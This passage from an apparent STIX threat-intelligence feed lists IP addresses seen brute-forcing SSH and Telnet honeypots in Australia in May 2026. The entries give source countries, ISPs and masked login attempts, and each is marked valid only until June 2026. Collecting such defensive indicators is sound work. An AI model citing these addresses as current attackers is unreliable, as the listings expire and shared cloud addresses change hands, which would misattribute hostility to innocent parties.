      "pattern": "[ipv4-addr:value = '34.38.223.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T06:15:11.000Z",
      "valid_until": "2026-06-28T06:15:08.000Z"
    },
    {
      "created": "2026-05-27T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--b042d4cb-3ec3-4db9-b48c-eb06bb429780",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.62.148.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T06:15:11.000Z",
      "valid_until": "2026-06-28T06:15:08.000Z"
    },
    {
      "created": "2026-05-27T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 51. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t, e****r, r***m, s***m, u****u. Passwords observed (masked): 1****1, 1******B, a****c, f********************@, r***m.",
      "id": "indicator--c485948f-6de1-491f-8ece-e926b860b5c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '61.151.249.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T06:15:11.000Z",
      "valid_until": "2026-06-28T06:15:08.000Z"
    },
    {
      "created": "2026-05-27T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 172. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CZ. ASN(s): 16019. Organisation(s): Vodafone Czech Republic a.s.. Usernames observed (masked): r**t, 3**********4, a***********r, d****l, d****e. Passwords observed (masked): *, ***, 1*******#, 1***1, 1****6.",
      "id": "indicator--1766dab5-1d2f-4ff1-974c-58465d44330e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.44.192.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T06:15:11.000Z",
      "valid_until": "2026-06-28T06:15:08.000Z"
    },
    {
      "created": "2026-05-27T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 56971. Organisation(s): Cgi Global Limited. Usernames observed (masked): a***n, r**t. Passwords observed (masked): ***, p****r.",
      "id": "indicator--fa8dbbf7-9bd3-4a85-a483-0ebd9b9bdf41",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.182.101.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T06:15:11.000Z",
      "valid_until": "2026-06-28T06:15:08.000Z"
    },
    {
      "created": "2026-05-27T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--e4255cdc-bd7d-4c28-bb1d-af4cf127d6ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T07:15:11.000Z",
      "valid_until": "2026-06-28T07:15:08.000Z"
    },
    {
      "created": "2026-05-27T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--60818349-d469-4c5f-98b2-7465db58f20c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T07:15:11.000Z",
      "valid_until": "2026-06-28T07:15:08.000Z"
    },
    {
      "created": "2026-05-27T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 7562. Organisation(s): HCN Dongjak.",
      "id": "indicator--eb0be87e-fe34-4e17-b014-008b6e40f63e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '110.35.156.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T07:15:11.000Z",
      "valid_until": "2026-06-28T07:15:08.000Z"
    },
    {
      "created": "2026-05-27T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--49060b8b-c496-4d8e-abc0-8d8407d6efec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.211.247.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T07:15:11.000Z",
      "valid_until": "2026-06-28T07:15:08.000Z"
    },
    {
      "created": "2026-05-27T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--2872d20e-be3b-4185-b861-2582ba8adc16",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.111.240.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T07:15:11.000Z",
      "valid_until": "2026-06-28T07:15:08.000Z"
    },
    {
      "created": "2026-05-27T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): t***2. Passwords observed (masked): t***2.",
      "id": "indicator--e920aaf5-a06a-4e81-bc8e-e6f2c1045fdc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.103.123.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T07:15:11.000Z",
      "valid_until": "2026-06-28T07:15:08.000Z"
    },
    {
      "created": "2026-05-27T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 132420. Organisation(s): 282, Sector 19. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--be7d31a9-e0a5-4a54-9df6-d6584793b74c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '151.185.42.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T07:15:11.000Z",
      "valid_until": "2026-06-28T07:15:08.000Z"
    },
    {
      "created": "2026-05-27T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 3816. Organisation(s): COLOMBIA TELECOMUNICACIONES S.A. ESP BIC. Usernames observed (masked): r**t, 3**********4, d**a, l**a, s*****d. Passwords observed (masked): 1**4, 1*******D, 1******X, 3***********4, 3**********4.",
      "id": "indicator--cb4f1638-6b37-4d10-92bf-f783a6697636",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.33.186.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T07:15:11.000Z",
      "valid_until": "2026-06-28T07:15:08.000Z"
    },
    {
      "created": "2026-05-27T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 194. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 27747. Organisation(s): Telecentro S.A.. Usernames observed (masked): r**t, 3**********4, d**a, s*****d, t***1. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1*******D, 1******X.",
      "id": "indicator--b00ff27e-07c6-4c47-869e-41240b299f99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.18.241.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T07:15:11.000Z",
      "valid_until": "2026-06-28T07:15:08.000Z"
    },
    {
      "created": "2026-05-27T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 188. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CL. ASN(s): 52368. Organisation(s): ZAM LTDA.. Usernames observed (masked): r**t, 3**********4, d**a, s*****d, t******r. Passwords observed (masked): 1**4, 3***********4, 3**********4, 1*******D, A********6.",
      "id": "indicator--b046eef4-d965-4971-92b2-2bfe21653181",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.64.123.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T07:15:11.000Z",
      "valid_until": "2026-06-28T07:15:08.000Z"
    },
    {
      "created": "2026-05-27T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A.. Usernames observed (masked): r**t, t******r. Passwords observed (masked): 1**4, Q**********5.",
      "id": "indicator--8a1b5fba-bb76-428c-98a3-302889f9c17e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.19.10.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T07:15:11.000Z",
      "valid_until": "2026-06-28T07:15:08.000Z"
    },
    {
      "created": "2026-05-27T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 16232. Organisation(s): TIM.",
      "id": "indicator--8d4a8ab8-4ba7-4ba2-b9d9-9699f7953054",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.197.32.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T07:15:11.000Z",
      "valid_until": "2026-06-28T07:15:08.000Z"
    },
    {
      "created": "2026-05-27T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--10079286-e362-408b-b1ca-02145aff7564",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.215.176.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T07:15:11.000Z",
      "valid_until": "2026-06-28T07:15:08.000Z"
    },
    {
      "created": "2026-05-27T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: XK. ASN(s): 33983. Organisation(s): Artmotion Sh.p.k..",
      "id": "indicator--c673e297-f434-4df1-b7d4-431f948b07f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '84.22.62.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T07:15:11.000Z",
      "valid_until": "2026-06-28T07:15:08.000Z"
    },
    {
      "created": "2026-05-27T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 52148. Organisation(s): Enix Ltd.",
      "id": "indicator--e152e075-09ed-4a7c-9809-b172ac87e876",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.204.209.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T07:15:11.000Z",
      "valid_until": "2026-06-28T07:15:08.000Z"
    },
    {
      "created": "2026-05-27T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc.. Usernames observed (masked): r**t, ***, 3**********4, s**u, s*****r. Passwords observed (masked): 3***********4, 3**********4, A*********8, V****************o, X*********9.",
      "id": "indicator--eaca22d1-7426-489a-ab7d-0d6fcd326eb5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '100.54.149.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T08:15:11.000Z",
      "valid_until": "2026-06-28T08:15:08.000Z"
    },
    {
      "created": "2026-05-27T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 136969. Organisation(s): KK Networks Pvt Ltd..",
      "id": "indicator--2e684cf5-7413-45eb-a861-70ad8a0c242d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.73.101.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T08:15:11.000Z",
      "valid_until": "2026-06-28T08:15:08.000Z"
    },
    {
      "created": "2026-05-27T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 136969. Organisation(s): KK Networks Pvt Ltd..",
      "id": "indicator--f957181b-c00c-4b74-905f-57b321358b2a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.73.101.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T08:15:11.000Z",
      "valid_until": "2026-06-28T08:15:08.000Z"
    },
    {
      "created": "2026-05-27T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 41786. Organisation(s): JSC ER-Telecom Holding.",
      "id": "indicator--55a92047-6814-46fb-a63f-6a8029f43f2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.194.108.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T08:15:11.000Z",
      "valid_until": "2026-06-28T08:15:08.000Z"
    },
    {
      "created": "2026-05-27T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 135354. Organisation(s): NAVER BUSINESS PLATFORM ASIA PACIFIC PTE. LTD.. Usernames observed (masked): r**t, 3**********4, ***. Passwords observed (masked): 1**4, 3***********4, 3**********4, L******6, U******0.",
      "id": "indicator--115c6203-ce1b-444a-bf47-8eba9f17af02",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.45.200.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T08:15:11.000Z",
      "valid_until": "2026-06-28T08:15:08.000Z"
    },
    {
      "created": "2026-05-27T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--bf6ffb81-7e9e-4ecb-8ceb-b3c86392a8e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.9.45.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T08:15:11.000Z",
      "valid_until": "2026-06-28T08:15:08.000Z"
    },
    {
      "created": "2026-05-27T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): p****l, r****e, u****u. Passwords observed (masked): P*********3, f********************@, p*******3.",
      "id": "indicator--8f09bbc1-744d-46c7-bd44-97c103ef4265",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.205.18.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T08:15:11.000Z",
      "valid_until": "2026-06-28T08:15:08.000Z"
    },
    {
      "created": "2026-05-27T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 42831. Organisation(s): UK Dedicated Servers Limited. Usernames observed (masked): r**t, 3**********4, u****u. Passwords observed (masked): 3***********4, 3**********4, H********5, P******$, f********************@.",
      "id": "indicator--0ce7618a-939d-400d-b37f-dee66f32c885",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.143.61.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T08:15:11.000Z",
      "valid_until": "2026-06-28T08:15:08.000Z"
    },
    {
      "created": "2026-05-27T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BY. ASN(s): 6697. Organisation(s): Republican Unitary Telecommunication Enterprise Beltelecom.",
      "id": "indicator--b27279a2-39eb-499a-9130-64cbc2efc7c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.212.34.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T08:15:11.000Z",
      "valid_until": "2026-06-28T08:15:08.000Z"
    },
    {
      "created": "2026-05-27T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 15557. Organisation(s): Societe Francaise Du Radiotelephone - SFR SA.",
      "id": "indicator--b5ed1ddd-ac4d-46f7-9907-d2623ab94484",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.18.110.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T09:15:11.000Z",
      "valid_until": "2026-06-28T09:15:08.000Z"
    },
    {
      "created": "2026-05-27T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--9a37117e-1c59-4731-89ae-40803b187201",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T09:15:11.000Z",
      "valid_until": "2026-06-28T09:15:08.000Z"
    },
    {
      "created": "2026-05-27T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--887d7aaf-6215-47be-86fb-980cb2ee365a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T09:15:11.000Z",
      "valid_until": "2026-06-28T09:15:08.000Z"
    },
    {
      "created": "2026-05-27T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS. Usernames observed (masked): b*********************************************************************************************************************************************************************************************************************************'. Passwords observed (masked): ***, b*************************************************************************************************************************************************************************************************\".",
      "id": "indicator--5b40f94b-0d33-4907-ab71-e387d262d8f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T09:15:11.000Z",
      "valid_until": "2026-06-28T09:15:08.000Z"
    },
    {
      "created": "2026-05-27T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--be559679-ea39-4a0d-9726-ad85a8ef19d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '220.133.210.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T09:15:11.000Z",
      "valid_until": "2026-06-28T09:15:08.000Z"
    },
    {
      "created": "2026-05-27T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--95abcd95-e421-4e07-af87-f987f2d47a98",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.246.41.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T09:15:11.000Z",
      "valid_until": "2026-06-28T09:15:08.000Z"
    },
    {
      "created": "2026-05-27T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 22927. Organisation(s): Telefonica de Argentina.",
      "id": "indicator--3f7c4da0-80cb-48d7-bd85-bee8564dd76a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
